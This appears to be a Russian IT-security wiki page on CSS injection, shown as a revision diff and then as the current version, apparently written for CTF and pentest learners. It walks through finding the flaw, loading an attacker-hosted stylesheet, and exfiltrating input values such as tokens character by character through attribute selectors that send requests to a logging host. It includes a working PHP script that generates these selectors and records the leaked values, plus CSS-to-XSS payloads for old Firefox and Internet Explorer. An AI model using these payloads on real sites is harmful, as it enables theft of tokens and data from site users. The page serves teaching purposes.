Cssi — различия между версиями
Drakylar (обсуждение | вклад) м |
Drakylar (обсуждение | вклад) м (Добавил URL Follow) |
||
(не показано 9 промежуточных версий этого же участника) | |||
Строка 36: | Строка 36: | ||
Взаимодействовать возможно только со значениями названных полей (иначе мы не сможем обратиться к данным). | Взаимодействовать возможно только со значениями названных полей (иначе мы не сможем обратиться к данным). | ||
+ | |||
+ | ===URL Follow=== | ||
+ | |||
+ | Заставить браузер жертвы отправить GET запрос на нужный URL не перезагружая страницу. | ||
+ | |||
+ | <syntaxhighlight lang="css" line="1" style="overflow-x:scroll" > | ||
+ | { background-image:url(<ссылка>); } | ||
+ | </syntaxhighlight> | ||
===Получение токенов=== | ===Получение токенов=== | ||
Строка 54: | Строка 62: | ||
... | ... | ||
input[value^=z]{ background-image:url(http://itsecwiki.org/log?z); } | input[value^=z]{ background-image:url(http://itsecwiki.org/log?z); } | ||
− | input[value^= | + | input[value^=aa]{ background-image:url(http://itsecwiki.org/log?z); } |
input[value^=ab]{ background-image:url(http://itsecwiki.org/log?z); } | input[value^=ab]{ background-image:url(http://itsecwiki.org/log?z); } | ||
... | ... | ||
Строка 64: | Строка 72: | ||
Можно перебирать по одной букве. | Можно перебирать по одной букве. | ||
+ | |||
====Chrome==== | ====Chrome==== | ||
====Автоматизация==== | ====Автоматизация==== | ||
+ | <syntaxhighlight lang="php" line="1" style="overflow-x:scroll" > | ||
<?php | <?php | ||
− | |||
− | |||
/* Использование | /* Использование | ||
Строка 126: | Строка 134: | ||
$word . | $word . | ||
$value . | $value . | ||
− | + | ']{ background-image:url(' . | |
url() . | url() . | ||
'?site_id=' . | '?site_id=' . | ||
Строка 136: | Строка 144: | ||
?> | ?> | ||
+ | |||
</syntaxhighlight> | </syntaxhighlight> | ||
+ | ===CSS inj -> XSS=== | ||
+ | |||
+ | ====Firefox==== | ||
+ | |||
+ | [https://developer.mozilla.org/en-US/docs/Web/CSS/-moz-binding Официальная страница Firefox] | ||
+ | |||
+ | [http://help.dottoro.com/lcxlpaqh.php Пример] | ||
+ | В старых версиях Firefox возможно запускать JS код с помощью атрибута -moz-binding. | ||
− | === | + | Пример: |
+ | |||
+ | Файл test.html: | ||
+ | <syntaxhighlight lang="html4strict" line="1" style="overflow-x:scroll" > | ||
+ | <html> | ||
+ | <head> | ||
+ | <style> | ||
+ | #bindingTest { | ||
+ | -moz-binding : url("somexbl.xml#alert-it"); | ||
+ | } | ||
+ | </style> | ||
+ | </head> | ||
+ | <body> | ||
+ | Move your mouse over <b id="bindingTest">this text</b>. | ||
+ | </body> | ||
+ | </head> | ||
+ | </html> | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Файл somexbl.xml: | ||
+ | <syntaxhighlight lang="xml" line="1" style="overflow-x:scroll" > | ||
+ | <?xml version="1.0" encoding="utf-8"?> | ||
+ | <bindings xmlns="http://www.mozilla.org/xbl"> | ||
+ | <binding id="alert-it"> | ||
+ | <content> | ||
+ | <children /> | ||
+ | </content> | ||
+ | <handlers> | ||
+ | <handler event="mouseover" action="alert('XSS');"/> | ||
+ | </handlers> | ||
+ | </binding> | ||
+ | </bindings> | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ====Chrome==== | ||
+ | |||
+ | |||
+ | ====Internet Explorer==== | ||
+ | |||
+ | Файл test.html: | ||
+ | <syntaxhighlight lang="html4strict" line="1" style="overflow-x:scroll" > | ||
+ | <html> | ||
+ | <head> | ||
+ | <style> | ||
+ | #Test { | ||
+ | behavior:url(script.htc); | ||
+ | } | ||
+ | </style> | ||
+ | </head> | ||
+ | <body> | ||
+ | Move your mouse over <b id="Test">this text</b>. | ||
+ | </body> | ||
+ | </head> | ||
+ | </html> | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Файл script.htc: | ||
+ | <syntaxhighlight lang="xml" line="1" style="overflow-x:scroll" > | ||
+ | <PUBLIC:COMPONENT TAGNAME="xss"> | ||
+ | <PUBLIC:ATTACH EVENT="ondocumentready" ONEVENT="main()" LITERALCONTENT="false"/> | ||
+ | </PUBLIC:COMPONENT> | ||
+ | <SCRIPT> | ||
+ | function main() | ||
+ | { | ||
+ | alert("HTC script executed."); | ||
+ | } | ||
+ | </SCRIPT> | ||
+ | </syntaxhighlight> | ||
==Примеры== | ==Примеры== | ||
+ | |||
+ | [https://tsublogs.wordpress.com/2016/06/25/whitehat-contest-11-ultimate-design-tool-web100/ WhiteHat Contest 11 Ultimate Design Tool – web100] | ||
+ | |||
+ | [https://lud1161.wordpress.com/2018/06/25/cat-chat-google-ctf-2018/ Cat Chat – Google CTF 2018] | ||
==Полезные ссылки== | ==Полезные ссылки== | ||
− | https://www.owasp.org/index.php/Testing_for_CSS_Injection_(OTG-CLIENT-005) | + | [https://www.owasp.org/index.php/Testing_for_CSS_Injection_(OTG-CLIENT-005) OWASP] |
+ | |||
+ | [https://raz0r.name/articles/css-attacks/ raz0r post] | ||
Заметка: добавить про чтение токенов и PRSSI | Заметка: добавить про чтение токенов и PRSSI |
Текущая версия на 13:56, 30 июня 2018
CSS Injection - уязвимость, позволяющая запустить произвольный CSS код на стороне жертвы.
Содержание
Поиск уязвимости
Загрузка из JS
HTML код страницы может редактироваться в зависимости от действий пользователя.
Например, цвет может быть помещен в hash URL'а (то, что после решетки) и с помощью JS перенесен в CSS:
1 document.getElementById("...").style.cssText = "color: " + location.hash.slice(1);
То есть все сводится к тому, что нужно изучить JS код страницы и найти параметры, которые может изменить пользователь.
Загрузка из backend'а
Данный способ отличается от предыдущего тем, что параметры вставляются в код страницы с помощью backend языка разработки.
Например:
1 <span style="color: <?php echo $_GET['color']; ?>">
В данном случае изучение очень похоже на поиск XSS.
Эксплуатация
Работает не во всех браузерах.
Для удобства эксплуатации требуется подкачать свой css файлик с вредоносным кодом с помощью команды import (иначе может просто не хватить места):
1 <style>
2 @import "http://hackersite.org/exploit.css";
3 </style>
Взаимодействовать возможно только со значениями названных полей (иначе мы не сможем обратиться к данным).
URL Follow
Заставить браузер жертвы отправить GET запрос на нужный URL не перезагружая страницу.
1 { background-image:url(<ссылка>); }
Получение токенов
Получение токенов (например токенов CSS) или других важных данных возможно с помощью перебора.
Firefox
В данном случае идет перебор параметра value поля input:
1 input[value^=a]{ background-image:url(http://itsecwiki.org/log?a); }
2 input[value^=b]{ background-image:url(http://itsecwiki.org/log?b); }
3 input[value^=c]{ background-image:url(http://itsecwiki.org/log?c); }
4 ...
5 input[value^=f]{ background-image:url(http://itsecwiki.org/log?f); } /* запрос прошел */
6 ...
7 input[value^=z]{ background-image:url(http://itsecwiki.org/log?z); }
8 input[value^=aa]{ background-image:url(http://itsecwiki.org/log?z); }
9 input[value^=ab]{ background-image:url(http://itsecwiki.org/log?z); }
10 ...
11 input[value^=flag]{ background-image:url(http://itsecwiki.org/log?flag);/* запрос прошел */
12 ...
И в итоге на сервер придут запросы: log?f, log?fl, log?fla и log?flag.
Можно перебирать по одной букве.
Chrome
Автоматизация
1 <?php
2
3 /* Использование
4
5 http://site/cssinj.php?form=input&
6 param=value&
7 siteid=1337&
8 alph=abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_&
9 word=fla
10
11 */
12
13 $alph = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_';
14 $word = '';
15 $siteid = '1';
16
17 if (isset($_GET['siteid'])){
18 $siteid = $_GET['siteid'];
19 }
20
21 //Если атака прошла успешно
22 if (isset($_GET['value'])){
23 file_put_contents( 'cssi_result_' . $siteid . '.txt', $_GET['value'] . "\n", FILE_APPEND | LOCK_EX);
24 exit();
25 }
26
27
28 function url(){
29 return explode("?",sprintf(
30 "%s://%s%s",
31 isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
32 $_SERVER['SERVER_NAME'],
33 $_SERVER['REQUEST_URI']
34 ))[0];
35 }
36
37
38 if (isset($_GET['alph'])){
39 $alph = $_GET['alph'];
40 }
41
42 if (isset($_GET['word'])){
43 $word = $_GET['word'];
44 }
45
46
47
48 $alph_chars = str_split($alph);
49
50 foreach ($alph_chars as &$value) {
51 echo $_GET['form'] .
52 '[' .
53 $_GET['param'] .
54 '^=' .
55 $word .
56 $value .
57 ']{ background-image:url(' .
58 url() .
59 '?site_id=' .
60 $siteid .
61 '&value=' .
62 urlencode($value) .
63 "); }\n";
64 }
65
66 ?>
CSS inj -> XSS
Firefox
В старых версиях Firefox возможно запускать JS код с помощью атрибута -moz-binding.
Пример:
Файл test.html:
1 <html>
2 <head>
3 <style>
4 #bindingTest {
5 -moz-binding : url("somexbl.xml#alert-it");
6 }
7 </style>
8 </head>
9 <body>
10 Move your mouse over <b id="bindingTest">this text</b>.
11 </body>
12 </head>
13 </html>
Файл somexbl.xml:
1 <?xml version="1.0" encoding="utf-8"?>
2 <bindings xmlns="http://www.mozilla.org/xbl">
3 <binding id="alert-it">
4 <content>
5 <children />
6 </content>
7 <handlers>
8 <handler event="mouseover" action="alert('XSS');"/>
9 </handlers>
10 </binding>
11 </bindings>
Chrome
Internet Explorer
Файл test.html:
1 <html>
2 <head>
3 <style>
4 #Test {
5 behavior:url(script.htc);
6 }
7 </style>
8 </head>
9 <body>
10 Move your mouse over <b id="Test">this text</b>.
11 </body>
12 </head>
13 </html>
Файл script.htc:
1 <PUBLIC:COMPONENT TAGNAME="xss">
2 <PUBLIC:ATTACH EVENT="ondocumentready" ONEVENT="main()" LITERALCONTENT="false"/>
3 </PUBLIC:COMPONENT>
4 <SCRIPT>
5 function main()
6 {
7 alert("HTC script executed.");
8 }
9 </SCRIPT>
Примеры
WhiteHat Contest 11 Ultimate Design Tool – web100
Полезные ссылки
Заметка: добавить про чтение токенов и PRSSI